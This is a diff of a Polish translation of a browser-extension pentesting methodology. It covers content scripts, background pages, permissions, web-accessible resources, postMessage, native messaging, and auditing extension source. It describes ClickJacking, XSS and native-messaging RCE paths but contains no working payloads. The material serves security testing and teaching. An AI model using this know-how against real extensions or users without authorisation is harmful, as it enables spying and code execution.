Wiadomość jest wysyłana do stron rozszerzenia przez skrypt treści, gdy ten przycisk jest klikany, poprzez wykorzystanie [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Wynika to z ograniczenia skryptu treści w bezpośrednim dostępie do API, przy czym `storage` jest jednym z nielicznych wyjątków. Dla funkcjonalności wykraczających poza te wyjątki, wiadomości są wysyłane do stron rozszerzenia, z którymi skrypty treści mogą komunikować się.
Wiadomość jest wysyłana do stron rozszerzenia przez skrypt treści, gdy ten przycisk jest kliknięty, za pomocą [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Wynika to z ograniczenia skryptu treści w bezpośrednim dostępie do API, przy czym `storage` jest jednym z nielicznych wyjątków. Dla funkcjonalności wykraczających poza te wyjątki, wiadomości są wysyłane do stron rozszerzenia, z którymi skrypty treści mogą komunikować się.
> [!WARNING]
> W zależności od przeglądarki, możliwości skryptu treści mogą się nieco różnić. Dla przeglądarek opartych na Chromium, lista możliwości jest dostępna w [dokumentacji Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), a dla Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) służy jako główne źródło.\
@ -99,14 +99,14 @@ Wiadomość jest wysyłana do stron rozszerzenia przez skrypt treści, gdy ten p
Aby wyświetlić i debugować skrypty treści w Chrome, menu narzędzi dewelopera Chrome można uzyskać z Opcje > Więcej narzędzi > Narzędzia dewelopera LUB naciskając Ctrl + Shift + I.
Po wyświetleniu narzędzi dewelopera, należy kliknąć na **zakładkę Źródło**, a następnie na zakładkę **Skrypty treści**. Umożliwia to obserwację działających skryptów treści z różnych rozszerzeń oraz ustawienie punktów przerwania w celu śledzenia przepływu wykonania.
Po wyświetleniu narzędzi dewelopera należy kliknąć zakładkę **Źródło**, a następnie zakładkę **Skrypty treści**. Umożliwia to obserwację działających skryptów treści z różnych rozszerzeń oraz ustawienie punktów przerwania w celu śledzenia przepływu wykonania.
### Wstrzyknięte skrypty treści
> [!TIP]
> Należy zauważyć, że **skrypty treści nie są obowiązkowe**, ponieważ możliwe jest również **dynamiczne** **wstrzykiwanie** skryptów oraz **programowe wstrzykiwanie ich** na stronach internetowych za pomocą **`tabs.executeScript`**. To w rzeczywistości zapewnia bardziej **szczegółową kontrolę**.
> Należy zauważyć, że **Skrypty treści nie są obowiązkowe**, ponieważ możliwe jest również **dynamiczne** **wstrzykiwanie** skryptów oraz **programowe wstrzykiwanie ich** na stronach internetowych za pomocą **`tabs.executeScript`**. To w rzeczywistości zapewnia bardziej **szczegółową kontrolę**.
Aby programowo wstrzyknąć skrypt treści, rozszerzenie musi mieć [uprawnienia hosta](https://developer.chrome.com/docs/extensions/reference/permissions) dla strony, do której skrypty mają być wstrzyknięte. Te uprawnienia mogą być zabezpieczone albo przez **zażądanie ich** w manifeście rozszerzenia, albo tymczasowo poprzez [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
Aby programowo wstrzyknąć skrypt treści, rozszerzenie musi mieć [uprawnienia hosta](https://developer.chrome.com/docs/extensions/reference/permissions) dla strony, do której skrypty mają być wstrzyknięte. Uprawnienia te mogą być zabezpieczone albo przez **zażądanie ich** w manifeście rozszerzenia, albo tymczasowo przez [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Przykład rozszerzenia opartego na activeTab
```json:manifest.json
@ -208,18 +208,18 @@ js: ["contentScript.js"],
```
### `background`
Wiadomości wysyłane przez skrypty zawartości są odbierane przez **stronę tła**, która odgrywa centralną rolę w koordynowaniu komponentów rozszerzenia. Co ważne, strona tła utrzymuje się przez cały czas życia rozszerzenia, działając dyskretnie bez bezpośredniej interakcji użytkownika. Posiada własny Model Obiektów Dokumentu (DOM), co umożliwia złożone interakcje i zarządzanie stanem.
Wiadomości wysyłane przez skrypty zawartości są odbierane przez **background page**, która odgrywa centralną rolę w koordynowaniu komponentów rozszerzenia. Należy zauważyć, że background page utrzymuje się przez cały czas trwania rozszerzenia, działając dyskretnie bez bezpośredniej interakcji użytkownika. Posiada własny Model Obiektów Dokumentu (DOM), co umożliwia złożone interakcje i zarządzanie stanem.
**Kluczowe punkty**:
- **Rola Strony Tła:** Działa jako centrum nerwowe dla rozszerzenia, zapewniając komunikację i koordynację między różnymi częściami rozszerzenia.
- **Rola Background Page:** Działa jako centrum nerwowe dla rozszerzenia, zapewniając komunikację i koordynację między różnymi częściami rozszerzenia.
- **Trwałość:** To zawsze obecny byt, niewidoczny dla użytkownika, ale integralny dla funkcjonalności rozszerzenia.
- **Automatyczne Generowanie:** Jeśli nie jest wyraźnie zdefiniowane, przeglądarka automatycznie utworzy stronę tła. Ta automatycznie generowana strona będzie zawierać wszystkie skrypty tła określone w manifeście rozszerzenia, zapewniając płynne działanie zadań tła rozszerzenia.
- **Automatyczne generowanie:** Jeśli nie jest wyraźnie zdefiniowane, przeglądarka automatycznie utworzy background page. Ta automatycznie generowana strona będzie zawierać wszystkie skrypty w tle określone w manifeście rozszerzenia, zapewniając płynne działanie zadań w tle rozszerzenia.
> [!TIP]
> Wygoda zapewniana przez przeglądarkę w automatycznym generowaniu strony tła (gdy nie jest wyraźnie zadeklarowana) zapewnia, że wszystkie niezbędne skrypty tła są zintegrowane i działają, upraszczając proces konfiguracji rozszerzenia.
> Wygoda zapewniana przez przeglądarkę w automatycznym generowaniu background page (gdy nie jest wyraźnie zadeklarowana) zapewnia, że wszystkie niezbędne skrypty w tle są zintegrowane i działają, upraszczając proces konfiguracji rozszerzenia.
Przykład skryptu tła:
Przykład skryptu w tle:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") {
@ -229,7 +229,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
```
Używa [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) do nasłuchiwania wiadomości. Gdy otrzymana zostanie wiadomość `"explain"`, używa [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) do otwarcia strony w nowej karcie.
Aby debugować skrypt w tle, możesz przejść do **szczegółów rozszerzenia i zbadać serwis worker,** co otworzy narzędzia deweloperskie z skryptem w tle:
Aby debugować skrypt w tle, możesz przejść do **szczegółów rozszerzenia i sprawdzić serwis worker**, co otworzy narzędzia deweloperskie z skryptem w tle:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
@ -237,8 +237,8 @@ Aby debugować skrypt w tle, możesz przejść do **szczegółów rozszerzenia i
Rozszerzenia przeglądarki mogą zawierać różne rodzaje stron:
- **Strony akcji** są wyświetlane w **rozwijanym menu, gdy kliknięta jest ikona rozszerzenia.**
- Strony, które rozszerzenie **załaduje w nowej karcie.**
- **Strony akcji** są wyświetlane w **rozwijanym menu, gdy kliknięta jest ikona rozszerzenia**.
- Strony, które rozszerzenie **załaduje w nowej karcie**.
- **Strony opcji**: Ta strona wyświetla się na górze rozszerzenia po kliknięciu. W poprzednim manifeście w moim przypadku mogłem uzyskać dostęp do tej strony w `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` lub klikając:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
@ -250,9 +250,9 @@ Zauważ, że te strony nie są trwałe jak strony w tle, ponieważ ładują dyna
### `permissions` & `host_permissions`
**`permissions`** i **`host_permissions`** to wpisy z `manifest.json`, które wskazują **jakie uprawnienia** ma rozszerzenie przeglądarki (przechowywanie, lokalizacja...) oraz **na jakich stronach internetowych.**
**`permissions`** i **`host_permissions`** to wpisy z `manifest.json`, które wskazują **jakie uprawnienia** ma rozszerzenie przeglądarki (przechowywanie, lokalizacja...) oraz **na jakich stronach internetowych**.
Ponieważ rozszerzenia przeglądarki mogą być tak **uprzywilejowane**, złośliwe lub skompromitowane mogłyby umożliwić atakującemu **różne sposoby kradzieży wrażliwych informacji i szpiegowania użytkownika.**
Ponieważ rozszerzenia przeglądarki mogą być tak **uprzywilejowane**, złośliwe lub skompromitowane mogłyby umożliwić atakującemu **różne sposoby kradzieży wrażliwych informacji i szpiegowania użytkownika**.
Sprawdź, jak te ustawienia działają i jak mogą być nadużywane w:
@ -262,13 +262,13 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
**Polityka bezpieczeństwa treści** może być również zadeklarowana wewnątrz `manifest.json`. Jeśli jest zdefiniowana, może być **vulnerable**.
**Polityka bezpieczeństwa treści** może być również zadeklarowana w `manifest.json`. Jeśli jest zdefiniowana, może być **wrażliwa**.
Domyślne ustawienie dla stron rozszerzeń przeglądarki jest dość restrykcyjne:
```bash
script-src 'self'; object-src 'self';
```
Aby uzyskać więcej informacji na temat CSP i potencjalnych obejść, sprawdź:
Dla uzyskania dodatkowych informacji na temat CSP i potencjalnych obejść sprawdź:
{{#ref}}
../content-security-policy-csp-bypass/
@ -298,14 +298,14 @@ Te strony są dostępne pod adresem URL takim jak:
```
chrome-extension://<extension-id>/message.html
```
W publicznych rozszerzeniach **extension-id jest dostępny**:
W publicznych rozszerzeniach **identyfikator rozszerzenia jest dostępny**:
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
Jednakże, jeśli parametr `manifest.json` **`use_dynamic_url`** jest używany, to **id może być dynamiczne**.
Jednakże, jeśli parametr `manifest.json` **`use_dynamic_url`** jest używany, ten **identyfikator może być dynamiczny**.
> [!TIP]
> Zauważ, że nawet jeśli strona jest tutaj wymieniona, może być **chroniona przed ClickJacking** dzięki **Content Security Policy**. Dlatego musisz również to sprawdzić (sekcja frame-ancestors) przed potwierdzeniem, że atak ClickJacking jest możliwy.
> Zauważ, że nawet jeśli strona jest tutaj wymieniona, może być **chroniona przed ClickJacking** dzięki **Polityce Bezpieczeństwa Treści**. Dlatego musisz to również sprawdzić (sekcja frame-ancestors), zanim potwierdzisz, że atak ClickJacking jest możliwy.
Możliwość dostępu do tych stron sprawia, że są one **potencjalnie podatne na ClickJacking**:
@ -317,17 +317,17 @@ browext-clickjacking.md
> Zezwolenie na ładowanie tych stron tylko przez rozszerzenie, a nie przez losowe adresy URL, może zapobiec atakom ClickJacking.
> [!CAUTION]
> Zauważ, że strony z **`web_accessible_resources`** oraz inne strony rozszerzenia również mogą **kontaktować się z skryptami w tle**. Więc jeśli jedna z tych stron jest podatna na **XSS**, może to otworzyć większą lukę.
> Zauważ, że strony z **`web_accessible_resources`** oraz inne strony rozszerzenia również mogą **kontaktować się z skryptami w tle**. Jeśli jedna z tych stron jest podatna na **XSS**, może to otworzyć większą lukę.
>
> Ponadto, zauważ, że możesz otworzyć tylko strony wskazane w **`web_accessible_resources`** wewnątrz iframe, ale z nowej karty można uzyskać dostęp do dowolnej strony w rozszerzeniu, znając ID rozszerzenia. Dlatego, jeśli XSS zostanie znalezione, wykorzystując te same parametry, może być nadużyte, nawet jeśli strona nie jest skonfigurowana w **`web_accessible_resources`**.
> Ponadto, zauważ, że możesz otwierać tylko strony wskazane w **`web_accessible_resources`** wewnątrz iframe, ale z nowej karty możliwe jest uzyskanie dostępu do dowolnej strony w rozszerzeniu, znając identyfikator rozszerzenia. Dlatego, jeśli znajdziesz XSS wykorzystujące te same parametry, może być to wykorzystane, nawet jeśli strona nie jest skonfigurowana w **`web_accessible_resources`**.
### `externally_connectable`
Zgodnie z [**dokumentacją**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), właściwość manifestu `"externally_connectable"` deklaruje **które rozszerzenia i strony internetowe mogą łączyć się** z Twoim rozszerzeniem za pomocą [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) i [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- Jeśli klucz **`externally_connectable`** **nie** jest zadeklarowany w manifeście Twojego rozszerzenia lub jest zadeklarowany jako **`"ids": ["*"]`**, **wszystkie rozszerzenia mogą się łączyć, ale żadne strony internetowe nie mogą się łączyć**.
- Jeśli **określone ID są podane**, jak w `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **tylko te aplikacje** mogą się łączyć.
- Jeśli **określone dopasowania** są podane, te aplikacje webowe będą mogły się łączyć:
- Jeśli **określone identyfikatory są podane**, jak w `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **tylko te aplikacje** mogą się łączyć.
- Jeśli **określone dopasowania** są podane, te aplikacje internetowe będą mogły się łączyć:
```json
"matches": [
"https://*.google.com/*",
@ -342,19 +342,19 @@ Im **mniej rozszerzeń i adresów URL** wskazanych tutaj, tym **mniejsza powierz
>
> Dlatego jest to **bardzo potężne obejście**.
>
> Co więcej, jeśli klient zainstaluje złośliwe rozszerzenie, nawet jeśli nie jest dozwolone do komunikacji z wrażliwym rozszerzeniem, może wstrzyknąć **dane XSS w dozwolonej stronie internetowej** lub nadużyć API **`WebRequest`** lub **`DeclarativeNetRequest`**, aby manipulować żądaniami na docelowej domenie, zmieniając żądanie strony dla **pliku JavaScript**. (Zauważ, że CSP na docelowej stronie może zapobiec tym atakom). Ten pomysł pochodzi [**z tego opisu**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
> Co więcej, jeśli klient zainstaluje złośliwe rozszerzenie, nawet jeśli nie jest ono dozwolone do komunikacji z wrażliwym rozszerzeniem, może wstrzyknąć **dane XSS w dozwolonej stronie internetowej** lub nadużyć API **`WebRequest`** lub **`DeclarativeNetRequest`**, aby manipulować żądaniami na docelowej domenie, zmieniając żądanie strony dla **pliku JavaScript**. (Zauważ, że CSP na docelowej stronie może zapobiec tym atakom). Ten pomysł pochodzi [**z tego opisu**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Podsumowanie komunikacji
### Rozszerzenie <--> WebApp
Aby komunikować się między skryptem treści a stroną internetową, zazwyczaj używane są wiadomości post. Dlatego w aplikacji internetowej zazwyczaj znajdziesz wywołania funkcji **`window.postMessage`** oraz w skrypcie treści nasłuchiwacze, takie jak **`window.addEventListener`**. Należy jednak zauważyć, że rozszerzenie może również **komunikować się z aplikacją internetową, wysyłając wiadomość Post** (a zatem strona powinna się tego spodziewać) lub po prostu sprawić, by strona załadowała nowy skrypt.
Aby komunikować się między skryptem treści a stroną internetową, zazwyczaj używane są wiadomości post. Dlatego w aplikacji internetowej zazwyczaj znajdziesz wywołania funkcji **`window.postMessage`** oraz w skrypcie treści nasłuchiwacze, takie jak **`window.addEventListener`**. Należy jednak zauważyć, że rozszerzenie może również **komunikować się z aplikacją internetową, wysyłając wiadomość Post** (a zatem strona powinna się tego spodziewać) lub po prostu sprawić, że strona załaduje nowy skrypt.
### Wewnątrz rozszerzenia
Zazwyczaj funkcja **`chrome.runtime.sendMessage`** jest używana do wysyłania wiadomości wewnątrz rozszerzenia (zazwyczaj obsługiwana przez skrypt `background`), a aby ją odebrać i obsłużyć, deklarowany jest nasłuchiwacz wywołujący **`chrome.runtime.onMessage.addListener`**.
Możliwe jest również użycie **`chrome.runtime.connect()`**, aby mieć stałe połączenie zamiast wysyłania pojedynczych wiadomości, można go użyć do **wysyłania** i **odbierania** **wiadomości**, jak w poniższym przykładzie:
Możliwe jest również użycie **`chrome.runtime.connect()`** do nawiązania trwałego połączenia zamiast wysyłania pojedynczych wiadomości; można go użyć do **wysyłania** i **odbierania** **wiadomości**, jak w poniższym przykładzie:
<details>
@ -397,11 +397,11 @@ Możliwe jest również wysyłanie wiadomości z skryptu w tle do skryptu treśc
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
Gdzie należy wspomnieć o **identyfikatorze rozszerzenia**.
Gdzie to konieczne, aby wspomnieć o **identyfikatorze rozszerzenia**.
### Native Messaging
Możliwe jest, aby skrypty w tle komunikowały się z binariami w systemie, które mogą być **narażone na krytyczne luki, takie jak RCE** jeśli ta komunikacja nie jest odpowiednio zabezpieczona. [Więcej na ten temat później](./#native-messaging).
Możliwe jest, aby skrypty w tle komunikowały się z binariami w systemie, które mogą być **narażone na krytyczne luki, takie jak RCE** jeśli ta komunikacja nie jest odpowiednio zabezpieczona. [Więcej na ten temat później](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -413,7 +413,7 @@ console.log("Received " + response)
```
## Web **↔︎** Komunikacja Skryptów Treści
Środowiska, w których działają **skrypty treści**, oraz strony hosta są **oddzielone** od siebie, zapewniając **izolację**. Mimo tej izolacji, obie strony mają możliwość interakcji z **Modelem Obiektów Dokumentu (DOM)** strony, wspólnym zasobem. Aby strona hosta mogła nawiązać komunikację z **skryptem treści**, lub pośrednio z rozszerzeniem przez skrypt treści, konieczne jest wykorzystanie **DOM**, który jest dostępny dla obu stron jako kanał komunikacyjny.
Środowiska, w których działają **skrypty treści**, oraz miejsca, w których istnieją strony hosta,**oddzielone** od siebie, zapewniając **izolację**. Pomimo tej izolacji, obie strony mają możliwość interakcji z **Modelem Obiektów Dokumentu (DOM)** strony, wspólnym zasobem. Aby strona hosta mogła nawiązać komunikację z **skryptem treści** lub pośrednio z rozszerzeniem za pośrednictwem skryptu treści, konieczne jest wykorzystanie **DOM**, który jest dostępny dla obu stron jako kanał komunikacyjny.
### Wiadomości Post
```javascript:content-script.js
@ -454,9 +454,9 @@ Bezpieczna komunikacja Post Message powinna sprawdzać autentyczność otrzymane
- **`event.isTrusted`**: To jest True tylko wtedy, gdy zdarzenie zostało wywołane przez akcję użytkownika
- Skrypt treści może oczekiwać wiadomości tylko wtedy, gdy użytkownik wykona jakąś akcję
- **origin domain**: może oczekiwać wiadomości tylko z dozwolonej listy domen.
- **domena źródłowa**: może oczekiwać wiadomości tylko z dozwolonej listy domen.
- Jeśli używana jest wyrażenie regularne, należy być bardzo ostrożnym
- **Source**: `received_message.source !== window` może być użyte do sprawdzenia, czy wiadomość była **z tego samego okna**, w którym skrypt treści nasłuchuje.
- **Źródło**: `received_message.source !== window` może być użyte do sprawdzenia, czy wiadomość była **z tego samego okna**, w którym skrypt treści nasłuchuje.
Poprzednie kontrole, nawet jeśli są przeprowadzane, mogą być podatne, więc sprawdź na następującej stronie **potencjalne obejścia Post Message**:
@ -466,7 +466,7 @@ Poprzednie kontrole, nawet jeśli są przeprowadzane, mogą być podatne, więc
### Iframe
Innym możliwym sposobem komunikacji mogą być **Iframe URLs**, przykład można znaleźć w:
Innym możliwym sposobem komunikacji mogą być **adresy URL Iframe**, przykład można znaleźć w:
{{#ref}}
browext-xss-example.md
@ -521,15 +521,15 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
W podanym przykładzie **`sendResponse()`** został wykonany w sposób synchroniczny. Aby zmodyfikować obsługę zdarzenia `onMessage` na asynchroniczne wykonanie `sendResponse()`, konieczne jest dodanie `return true;`.
W podanym przykładzie, **`sendResponse()`** został wykonany w sposób synchroniczny. Aby zmodyfikować obsługę zdarzenia `onMessage` na asynchroniczne wykonanie `sendResponse()`, konieczne jest dodanie `return true;`.
Ważnym zagadnieniem jest to, że w scenariuszach, w których wiele stron ma odbierać zdarzenia `onMessage`, **pierwsza strona, która wykona `sendResponse()`** dla konkretnego zdarzenia, będzie jedyną, która skutecznie dostarczy odpowiedź. Jakiekolwiek kolejne odpowiedzi na to samo zdarzenie nie będą brane pod uwagę.
Ważnym zagadnieniem jest to, że w scenariuszach, w których wiele stron jest ustawionych na odbieranie zdarzeń `onMessage`, **pierwsza strona, która wykona `sendResponse()`** dla konkretnego zdarzenia, będzie jedyną, która skutecznie dostarczy odpowiedź. Jakiekolwiek kolejne odpowiedzi na to samo zdarzenie nie będą brane pod uwagę.
Podczas tworzenia nowych rozszerzeń preferencje powinny być skierowane ku obietnicom zamiast do callbacków. Jeśli chodzi o użycie callbacków, funkcja `sendResponse()` jest uznawana za ważną tylko wtedy, gdy jest wykonywana bezpośrednio w kontekście synchronicznym lub jeśli obsługa zdarzenia wskazuje na operację asynchroniczną, zwracając `true`. Jeśli żaden z handlerów nie zwróci `true` lub jeśli funkcja `sendResponse()` zostanie usunięta z pamięci (zbieranie śmieci), callback związany z funkcją `sendMessage()` zostanie wywołany domyślnie.
Podczas tworzenia nowych rozszerzeń, preferencje powinny być skierowane ku obietnicom zamiast do callbacków. Jeśli chodzi o użycie callbacków, funkcja `sendResponse()` jest uznawana za ważną tylko wtedy, gdy jest wykonywana bezpośrednio w kontekście synchronicznym lub jeśli obsługa zdarzenia wskazuje na operację asynchroniczną, zwracając `true`. Jeśli żaden z handlerów nie zwróci `true` lub jeśli funkcja `sendResponse()` zostanie usunięta z pamięci (zbieranie śmieci), callback związany z funkcją `sendMessage()` zostanie wywołany domyślnie.
## Native Messaging
Rozszerzenia przeglądarki umożliwiają również komunikację z **binariami w systemie za pomocą stdin**. Aplikacja musi zainstalować plik json wskazujący to w formacie json, takim jak:
Rozszerzenia przeglądarki umożliwiają również komunikację z **binariami w systemie za pomocą stdin**. Aplikacja musi zainstalować plik json wskazujący na to w formacie json, takim jak:
```json
{
"name": "com.my_company.my_application",
@ -546,7 +546,7 @@ Chrome/Chromium będzie szukać tego json w niektórych rejestrach systemu Windo
> [!TIP]
> Rozszerzenie przeglądarki również potrzebuje uprawnienia `nativeMessaing` zadeklarowanego, aby móc korzystać z tej komunikacji.
Tak wygląda kod skryptu tła wysyłającego wiadomości do aplikacji natywnej:
Tak wygląda kod niektórego skryptu tła wysyłającego wiadomości do aplikacji natywnej:
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -558,7 +558,7 @@ console.log("Received " + response)
```
W [**tym wpisie na blogu**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) zaproponowano podatny wzór wykorzystujący natywne wiadomości:
1. Rozszerzenie przeglądarki ma wzór wildcard dla skryptu treści.
1. Rozszerzenie przeglądarki ma wzór z użyciem symbolu wieloznacznego dla skryptu treści.
2. Skrypt treści przesyła wiadomości `postMessage` do skryptu w tle za pomocą `sendMessage`.
3. Skrypt w tle przesyła wiadomość do aplikacji natywnej za pomocą `sendNativeMessage`.
4. Aplikacja natywna niebezpiecznie obsługuje wiadomość, co prowadzi do wykonania kodu.
@ -567,21 +567,21 @@ A w jego wnętrzu wyjaśniono przykład **przechodzenia z dowolnej strony do RCE
## Wrażliwe informacje w pamięci/kodzie/clipboard
Jeśli Rozszerzenie Przeglądarki przechowuje **wrażliwe informacje w swojej pamięci**, mogą one być **zrzucane** (szczególnie na maszynach z systemem Windows) i **wyszukiwane** w tych informacjach.
Jeśli Rozszerzenie Przeglądarki przechowuje **wrażliwe informacje w swojej pamięci**, mogą one być **zrzucane** (szczególnie na maszynach z systemem Windows) i **wyszukiwane** w celu uzyskania tych informacji.
Dlatego pamięć Rozszerzenia Przeglądarki **nie powinna być uważana za bezpieczną** i **wrażliwe informacje** takie jak dane logowania czy frazy mnemoniczne **nie powinny być przechowywane**.
Dlatego pamięć Rozszerzenia Przeglądarki **nie powinna być uważana za bezpieczną**, a **wrażliwe informacje**, takie jak dane logowania czy frazy mnemoniczne, **nie powinny być przechowywane**.
Oczywiście, **nie umieszczaj wrażliwych informacji w kodzie**, ponieważ będą one **publiczne**.
Aby zrzucić pamięć z przeglądarki, możesz **zrzucić pamięć procesu** lub przejść do **ustawień** rozszerzenia przeglądarki, klikając **`Inspect pop-up`** -> W sekcji **`Memory`** -> **`Take a snapshot`** i **`CTRL+F`** aby wyszukać w zrzucie wrażliwe informacje.
Aby zrzucić pamięć z przeglądarki, możesz **zrzucić pamięć procesu** lub przejść do **ustawień** rozszerzenia przeglądarki, klikając **`Inspect pop-up`** -> W sekcji **`Memory`** -> **`Take a snapshot`** i **`CTRL+F`**, aby wyszukać w zrzucie wrażliwe informacje.
Ponadto, wysoce wrażliwe informacje, takie jak klucze mnemoniczne czy hasła, **nie powinny być kopiowane do schowka** (lub przynajmniej usunięte ze schowka w ciągu kilku sekund), ponieważ wtedy procesy monitorujące schowek będą mogły je zdobyć.
Ponadto, bardzo wrażliwe informacje, takie jak klucze mnemoniczne czy hasła, **nie powinny być kopiowane do schowka** (lub przynajmniej powinny być usuwane ze schowka w ciągu kilku sekund), ponieważ wtedy procesy monitorujące schowek będą mogły je uzyskać.
## Ładowanie rozszerzenia w przeglądarce
1. **Pobierz** Rozszerzenie Przeglądarki i rozpakuj je
2. Przejdź do **`chrome://extensions/`** i **włącz** `Tryb dewelopera`
3. Kliknij przycisk **`Load unpacked`**
1. **Pobierz** Rozszerzenie Przeglądarki i rozpakuj je.
2. Przejdź do **`chrome://extensions/`** i **włącz** `Tryb dewelopera`.
3. Kliknij przycisk **`Load unpacked`**.
W **Firefoxie** przejdź do **`about:debugging#/runtime/this-firefox`** i kliknij przycisk **`Load Temporary Add-on`**.
@ -591,7 +591,7 @@ Kod źródłowy rozszerzenia Chrome można uzyskać na różne sposoby. Poniżej
### Pobierz rozszerzenie jako ZIP za pomocą wiersza poleceń
Kod źródłowy rozszerzenia Chrome można pobrać jako plik ZIP za pomocą wiersza poleceń. Wymaga to użycia `curl` do pobrania pliku ZIP z określonego adresu URL, a następnie wyodrębnienia zawartości pliku ZIP do katalogu. Oto kroki:
Kod źródłowy rozszerzenia Chrome można pobrać jako plik ZIP za pomocą wiersza poleceń. Wymaga to użycia `curl`, aby pobrać plik ZIP z określonego adresu URL, a następnie wyodrębnić zawartość pliku ZIP do katalogu. Oto kroki:
1. Zastąp `"extension_id"` rzeczywistym ID rozszerzenia.
2. Wykonaj następujące polecenia:
@ -606,13 +606,13 @@ unzip -d "$extension_id-source" "$extension_id.zip"
### Użyj rozszerzenia CRX Viewer
Inną wygodną metodą jest użycie Chrome Extension Source Viewer, który jest projektem open-source. Można go zainstalować z [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Kod źródłowy przeglądarki jest dostępny w jej [repozytorium GitHub](https://github.com/Rob--W/crxviewer).
Inną wygodną metodą jest użycie Chrome Extension Source Viewer, który jest projektem open-source. Można go zainstalować z [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Kod źródłowy widoku jest dostępny w jego [repozytorium GitHub](https://github.com/Rob--W/crxviewer).
### Wyświetl źródło lokalnie zainstalowanego rozszerzenia
Rozszerzenia Chrome zainstalowane lokalnie można również sprawdzić. Oto jak:
1. Uzyskaj dostęp do lokalnego katalogu profilu Chrome, odwiedzając `chrome://version/` i znajdując pole "Profile Path".
1. Uzyskaj dostęp do lokalnego katalogu profilu Chrome, odwiedzając `chrome://version/` i lokalizując pole "Profile Path".
2. Przejdź do podfolderu `Extensions/` w katalogu profilu.
3. Ten folder zawiera wszystkie zainstalowane rozszerzenia, zazwyczaj z ich kodem źródłowym w czytelnym formacie.
@ -629,9 +629,9 @@ Przejdź do Chrome Web Store i pobierz rozszerzenie. Plik będzie miał rozszerz
Otwórz Chrome i przejdź do `chrome://extensions/`. Włącz "Tryb dewelopera" w prawym górnym rogu. Kliknij "Załaduj rozpakowane rozszerzenie...". Przejdź do katalogu swojego rozszerzenia. To nie pobiera kodu źródłowego, ale jest przydatne do przeglądania i modyfikowania kodu już pobranego lub opracowanego rozszerzenia.
## Zbiór danych manifestów rozszerzeń Chrome
## Zbiór manifestów rozszerzeń Chrome
Aby spróbować zidentyfikować podatne rozszerzenia przeglądarki, możesz użyć [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i sprawdzić ich pliki manifestów pod kątem potencjalnych oznak podatności. Na przykład, aby sprawdzić rozszerzenia z więcej niż 25000 użytkowników, `content_scripts` i uprawnienie `nativeMessaing`:
Aby spróbować zidentyfikować podatne rozszerzenia przeglądarki, możesz użyć [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i sprawdzić ich pliki manifestów pod kątem potencjalnie podatnych oznak. Na przykład, aby sprawdzić rozszerzenia z więcej niż 25000 użytkowników, `content_scripts` i uprawnienie `nativeMessaing`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
@ -665,31 +665,31 @@ Chociaż rozszerzenia przeglądarki mają **ograniczoną powierzchnię ataku**,
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Pobiera dowolne rozszerzenie Chrome z podanego linku do sklepu Chrome.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **widok**: po prostu wyświetla wersję manifestu rozszerzenia w formacie JSON.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: po prostu wyświetla wersję manifestu rozszerzenia w formacie JSON.
- **Analiza odcisków palców**: Wykrywanie [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) i automatyczne generowanie JavaScript do odcisków palców rozszerzenia Chrome.
- **Potencjalna analiza Clickjacking**: Wykrywanie stron HTML rozszerzenia z ustawionym dyrektywą [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Mogą być potencjalnie podatne na clickjacking w zależności od celu stron.
- **Widok ostrzeżeń o uprawnieniach**: który pokazuje listę wszystkich ostrzeżeń o uprawnieniach Chrome, które będą wyświetlane, gdy użytkownik spróbuje zainstalować rozszerzenie.
